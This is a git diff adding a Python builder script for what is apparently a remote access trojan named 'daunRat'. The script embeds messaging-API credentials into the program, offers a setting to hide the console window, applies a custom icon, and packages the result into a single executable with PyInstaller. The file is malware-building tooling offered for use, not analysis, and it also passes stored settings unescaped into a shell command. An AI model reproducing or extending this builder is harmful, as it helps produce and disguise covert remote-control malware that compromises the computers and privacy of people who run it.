diff --git a/client/builder.py b/client/builder.py
index e69de29..91179a3 100644
--- a/client/builder.py
+++ b/client/builder.py
@@ -0,0 +1,84 @@
+import os
+import ezztui
+import json
+
+try:
+    with open('settings.json') as f:
+        settings = json.load(f)
+    for i in ["icon", "app_id", "key", "secret", "cluster", "client_id", "terminal"]:
+        if i not in settings:
+            settings[i] = None
+            with open('settings.json', 'w') as f:
+                json.dump(settings, f)
+except:
+    settings = {
+        "icon": "daun/ui/logo.ico",
+        "app_id": "",
+        "key": "",
+        "secret": "",
+        "cluster": "",
+        "client_id": "",
+        "terminal": "--windowed"
+    }
+    with open('settings.json', 'w+') as f:
+        json.dump(settings, f)
+
+
+def build():
+    with open('env.py', 'w') as f:
+        f.write(f"""
+app_id = "{settings["app_id"]}"
+key = "{settings["key"]}"
+secret = "{settings["secret"]}"
+cluster = "{settings["cluster"]}"
+client_id = "{settings["client_id"]}"
+""")
+    os.system(f'venv\\Scripts\\activate.bat & pyinstaller --onefile --icon "{settings["icon"]}" {settings["terminal"]} '
+              f'--add-data "daun/modules;." daunRat.py')
+    input("Press enter to continue...")
+
+
+def update_settings(key: str, value: str) -> None:
+    global settings
+    settings[key] = value
+    with open('settings.json', 'w+') as f:
+        json.dump(settings, f)
+
+
+while True:
+    {
+        "build": build,
+        "icon": lambda: update_settings("icon", input("icon path: ")),
+        "app_id": lambda: update_settings("app_id", input("app_id: ")),
+        "key": lambda: update_settings("key", input("key: ")),
+        "secret": lambda: update_settings("secret", input("secret: ")),
+        "cluster": lambda: update_settings("cluster", input("cluster: ")),
+        "client_id": lambda: update_settings("client_id", input("client_id: ")),
+        "hide": lambda: update_settings("terminal", "--windowed"),
+        "show": lambda: update_settings("terminal", "--console")
+    }[
+        ezztui.menu({
+            'build': 'return',
+            'settings': {
+                'icon': 'return',
+                'console visibility': {
+                    'hide': 'return',
+                    'show': 'return'
+                },
+                'api keys': {
+                    f'app_id: {settings["app_id"]}': 'return',
+                    f'key: {settings["key"]}': 'return',
+                    f'secret: {settings["secret"]}': 'return',
+                    f'cluster: {settings["cluster"]}': 'return',
+                    f'client_id: {settings["client_id"]}': 'return',
+                    'back': 'back'
+                },
+                'back': 'back'
+            },
+            'exit': {
+                'exit': 'exit',
+                'cancel': 'back'
+            }
+        }
+        )[-1].split(':')[0]
+    ]()